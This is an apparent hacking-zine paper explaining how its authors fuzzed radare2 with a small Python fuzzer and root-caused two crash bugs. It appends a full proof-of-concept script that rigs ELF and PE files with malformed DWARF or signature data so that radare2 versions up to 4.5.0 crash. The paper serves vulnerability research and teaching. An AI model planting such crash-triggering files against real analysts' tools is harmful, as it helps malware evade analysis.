1.5 Fuzzing Radare2 For 0days In About 30 Lines Of Code
~ Architect & S01den
Abstract
Radare2 is a well-known open-source framework for reverse-engineering and binary analysis.
This kind of tool is pretty interesting to analyse, searching for vulnerabilities, since they are used in fields such as malware analysis.
In this paper we'll explain how we discovered two bugs (CVE-2020-16269 and CVE-2020-17487) from scratch, by writting our own -dumb- fuzzer and doing a bit of reverse-engineering.
In a first part, we'll explain how we fuzzed radare2 and in a second part, we'll see how we used the crashes found by fuzzing in order to analyse, isolate and reproduce bugs, by taking as example the ELF related bug (CVE-2020-16269).
Fuzzing
In order to find the two vulnerabilities, we applied dumb fuzzing to our target.
The key factor when doing dumb fuzzing, is having a diverse corpus in terms of code coverage.
We chose to use the testbins repo from Radare2[0].
During fuzzing we found crashes within 30 minutes, in several different file formats. Of the formats, interesting to us, were PE and ELF, the two most used executable formats.
Without further delay, here is a tiny version of our fuzzer.
----------------------------------- CUT-HERE -------------------------------------
import glob;import random;import subprocess;import hashlib
def harness(d):
tf = open("wdir/tmp", "wb")
tf.write(d)
tf.close()
try:
p = subprocess.run(['r2','-qq', '-AA','wdir/tmp'], stdin=None, timeout=10)
except:
return
try:
p.check_returncode()
except:
print(f"Proc exited with code {p.returncode}")
fh = hashlib.sha256(d).hexdigest()
dump = open(f'cdir/crash_{fh}', 'wb')
dump.write(d);dump.close()
def mutate(data):
mutable_bytes = bytearray(data)
for a in range(10):
r = random.randint(0, len(mutable_bytes)-1)
mutable_bytes[r] = random.randint(0,254)
return mutable_bytes
if __name__ == '__main__':
fs = glob.glob("corpus/*")
while True:
f = open(random.choice(fs), 'rb').read()
harness(mutate(f))
----------------------------------------------------------------------------------
Exploitation
Having a few sample that will make Radare2 crash, letus look at the reason behind the crash.
The first one is an ELF, a mutated version of dwarftest, a sample file which holds DWARF informations.
$ file dwarftest
---> dwarftest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, ...,with debug_info, not stripped
To find out which byte triggers the bug, we analyze the offending sample loaded with Radare2 using a debugger.
Alternatively it is also viable to diff the original and mutated sample to find the offending byte(s).
We can do that easily thanks to radiff2:
$ radiff2 bins/src/dwarftest mutated_dwarftest
0x000010e1 00 => 01 0x000010e1
This offset in the file is part of the DWARF structure. This is only true for binaries that already have DWARF information attached, but we should be able to craft malformed DWARF info and inject it into any ELF.
To figure out why our DWARF info upsets Radare2 we can take a look with objdump:
$ objdump --dwarf=info mutated_dwarftest
...
<4c> DW_AT_name :objdump: WARNING: the DW_FORM_strp shift is too
large: 164 (indirect string, shift: 0x164): <shift too large>
...
Well, we’re almost done.
Now, just need to look how we can exploit it. To do that, we just have to look at the backtrace of a crash with gdb and then, analyse the source code of the function (radare2 being fortunately an open-source project) where the bug is triggered.
The faulty line is in the function parse_typedef:
name = strdup (value->string.content);
This triggers a null pointer dereference when the duplicated string is NULL, and without going into details, we figured out thanks to the forbidden power of reverse engineering that it’s the case when a shift in DW_AT_name is too large.
Now, it’s time to write a script which can modify any ELF to trigger the bug.
In appendix, you can find the full exploit, containing the exploitation of the PE bug (CVE-2020-17487, which also simply makes radare2 unable to load the binary)
Conclusion
We hope that you enjoyed this paper.
Now, you know that it isn't that hard to find bugs in widely-used tools. So now, try to find it yourself (and especially in reverse-engineering tools) !
Even if the bug isn't exploitable in another way than a DoS, crashing a reverse engineering tool when loading a binary still useful...
Notes & References
[0] https://github.com/radareorg/radare2-testbins
Appendix
- Exploit POC (See 5.1.py in txt/)
5.1.py
#!/usr/bin/python3
from elftools.elf.elffile import ELFFile
from elftools.elf.enums import ENUM_E_MACHINE
import sys
import pefile
import struct
import argparse
import os
import base64
# Those vulnerabilities were patched, they only work for a version of radare2 <= 4.5.0
# for ELF:
# trigger a segfault in radare2 by modifing a DW_FORM_strp (a reference to a string in the dwarf debug format) (modify the shift in DW_AT_name)
# (exploit the CVE-2020-16269)
# for PE:
# trigger a segfault in radare2 by modifing the Object Identifier in IMAGE_DIRECTORY_ENTRY_SECURITY (in PE files)
# bugs found by S01den and Architect (with custom fuzzing)
# (exploit the CVE-2020-17487)
def get_offset(fname):
pe = pefile.PE(fname, fast_load = True)
pe.parse_data_directories( directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']])
sig_offset = 0
found = 0
for s in pe.__structures__:
if s.name == 'IMAGE_DIRECTORY_ENTRY_SECURITY':
sig_offset = s.VirtualAddress
print("[*] IMAGE_DIRECTORY_ENTRY_SECURITY offset = "+hex(sig_offset))
sig_len = s.Size
print("[*] Size: "+hex(sig_len))
if(sig_len <= 0):
sig_offset = 0
pe.close()
return sig_offset
print("__________ _____ ________ _____ _________ .__ ")
print("\______ \_______ ____ _____/ ____\ \_____ \_/ ____\ \_ ___ \____________ _____| |__ ")
print("| ___/\_ __ \/ _ \ / _ \ __\ / | \ __\ / \ \/\_ __ \__ \ / ___/ | \ ")
print("| | | | \( <_> | <_> ) | / | \ | \ \____| | \// __ \_\___ \| Y \ ")
print("|____| |__| \____/ \____/|__| \_______ /__| \______ /|__| (____ /____ >___| / ")
print(" \/ \/ \/ \/ \/ ")
if(len(sys.argv) < 2):
print("Command: ./unRadare2.py -elf file_to_patch or -pe file_to_patch")
exit()
filename = sys.argv[2]
if(sys.argv[1] == "-elf"):
found = 0
file = open(filename,"rb")
binary = bytearray(file.read())
elffile = ELFFile(file)
offset_section_table = elffile.header.e_shoff
nbr_entries_section_table = elffile.header.e_shnum
for section in elffile.iter_sections():
if(section.name == ".debug_info"):
print("[*] .debug_info section f0und at %s!" % hex(section['sh_offset']))
found = 1
break
if(found):
offset_dbg = section['sh_offset']
binary[offset_dbg+0x31] = 0xff
new_filename = filename+"_PoC"
new_file = open(new_filename,"wb")
new_file.write(binary)
new_file.close()
print("[*] ELF patched ! ----> "+new_filename)
else:
comment_section = 0
shstrtab_section = 0
print("[!] No .debug_info section f0und :(")
print("[*] So let's add it !")
bin_abbrev = base64.b64decode("AREBJQ4TCwMOGw4RARIHEBcAAAIWAAMOOgs7C0kTAAADJAALCz4LAw4AAAQkAAsLPgsDCAAABQ8ACwsAAAYPAA==")
bin_info = base64.b64decode("OAAAAAQAAAAAAAgBowAAAATXDQAAhxcAAM0OQAAAAAAAYCAAAAAAAAAAAAAAAjAAAAAD1DgAAAADCAcyFQAAAwEI")
open("tmp_info", "wb").write(bin_info)
open("tmp_abbrev", "wb").write(bin_abbrev)
cmd_1 = "objcopy --add-section .debug_info=tmp_info "+filename
cmd_2 = "objcopy --add-section .debug_abbrev=tmp_abbrev "+filename
os.system(cmd_1)
os.system(cmd_2)
os.remove("tmp_info")
os.remove("tmp_abbrev")
print("[*] ELF patched ! ----> "+filename)
file.close()
elif(sys.argv[1] == "-pe"):
sig_offset = get_offset(filename)
f = open(filename,'rb')
content = bytearray(f.read())
f.close()
if(sig_offset == 0):
print("[!] Nothing found... Trying to implant anyway")
i = 0
exploit = b"\x80\x08\x00\x00\x00\x00\x02\x000\x82\x08s\x06\t*\x86H\x86\xf7\r\x01\x07\x02\xa0\x82\x08d0\x82\x08`\x02\x01\x011\x0b0\t\x06\x05+\x0e\x03\x02\x1a\x05\x000h\x86\n+\x06\x01\x04\x01\x827\x02\x01\x04\xa0Z0X03\x06\n+\x06\x01\x04\x01\x827\x02\x01\x0f0%\x0b\x01\x00\xa0 \xa2\x1e\x80\x1c\x00<\x00<\x00<\x00O\x01b\x00s\x00o\x00l\x00e\x00t\x00e\x00>\x00>\x00>0!0\x0b\x22"
while i != len(content)-123:
if content[i:i+123] == b"\x00"*123:
print(f"[*] Found space at {hex(i)}")
break
i += 1
pe = pefile.PE(filename, fast_load = True)
for s in pe.__structures__:
if s.name == 'IMAGE_DIRECTORY_ENTRY_SECURITY':
s.VirtualAddress = i
s.Size = 0x880
pe.set_bytes_at_offset(i, exploit)
pe.write(filename="output.exe")
else:
print("[*] OID found !: "+hex(content[sig_offset+0x7a]))
content[sig_offset+0x7a] += 1
f = open("output.exe",'wb')
f.write(content)
f.close()
print("[*] D0ne ! ----> output.exe")
else:
print("[!] Invalid argument !")